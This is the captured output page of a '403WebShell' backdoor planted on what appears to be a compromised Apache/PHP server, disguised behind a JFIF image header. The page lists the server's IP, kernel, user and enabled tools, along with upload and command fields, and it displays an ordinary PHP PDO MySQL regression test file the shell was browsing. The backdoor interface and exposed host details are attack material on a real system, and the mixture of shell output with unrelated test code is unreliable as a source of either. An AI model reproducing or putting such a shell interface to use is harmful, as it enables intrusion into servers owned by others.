????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.116.61.213
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/pdo_mysql/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/pdo_mysql/tests/bug_61207.phpt
--TEST--
PDO MySQL Bug #61207 (PDO::nextRowset() after a multi-statement query doesn't always work)
--SKIPIF--
<?php
require_once(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'skipif.inc');
require_once(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'mysql_pdo_test.inc');
MySQLPDOTest::skip();

?>
--FILE--
<?php
require_once(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'mysql_pdo_test.inc');
$db = MySQLPDOTest::factory();

$db->query('DROP TABLE IF EXISTS test');
$db->query('create table `test`( `id` int )');

$handle1 = $db->prepare('insert into test(id) values(1);
                          select * from test where id = ?;
                          update test set id = 2 where id = ?;');

$handle1->bindValue('1', '1');
$handle1->bindValue('2', '1');

$handle1->execute();
$i = 1;
print("Handle 1:\n");
do {
	print('Rowset ' . $i++ . "\n");
	if ($handle1->columnCount() > 0)
		print("Results detected\n");
} while($handle1->nextRowset());

$handle2 = $db->prepare('select * from test where id = ?;
                           update test set id = 1 where id = ?;');

$handle2->bindValue('1', '2');
$handle2->bindValue('2', '2');

$handle2->execute();

$i = 1;
print("Handle 2:\n");
do {
	print('Rowset ' . $i++ . "\n");
	if ($handle2->columnCount() > 0)
		print("Results detected\n");
} while($handle2->nextRowset());

$handle3 = $db->prepare('update test set id = 2 where id = ?;
                           select * from test where id = ?;');

$handle3->bindValue('1', '1');
$handle3->bindValue('2', '2');

$handle3->execute();

$i = 1;
print("Handle 3:\n");
do {
	print('Rowset ' . $i++ . "\n");
	if ($handle3->columnCount() > 0)
		print("Results detected\n");
} while($handle3->nextRowset());

$handle4 = $db->prepare('insert into test(id) values(3);
                           update test set id = 2 where id = ?;
                           select * from test where id = ?;');

$handle4->bindValue('1', '3');
$handle4->bindValue('2', '2');

$handle4->execute();

$i = 1;
print("Handle 4:\n");
do {
	print('Rowset ' . $i++ . "\n");
	if ($handle1->columnCount() > 0)
		print("Results detected\n");
} while($handle1->nextRowset());

$db->query("DROP TABLE test");
?>
--CLEAN--
<?php
require dirname(__FILE__) . '/mysql_pdo_test.inc';
MySQLPDOTest::dropTestTable();
?>
--EXPECT--
Handle 1:
Rowset 1
Rowset 2
Results detected
Rowset 3
Handle 2:
Rowset 1
Results detected
Rowset 2
Handle 3:
Rowset 1
Rowset 2
Results detected
Handle 4:
Rowset 1
Rowset 2
Rowset 3
Results detected

Youez - 2016 - github.com/yon3zu
LinuXploit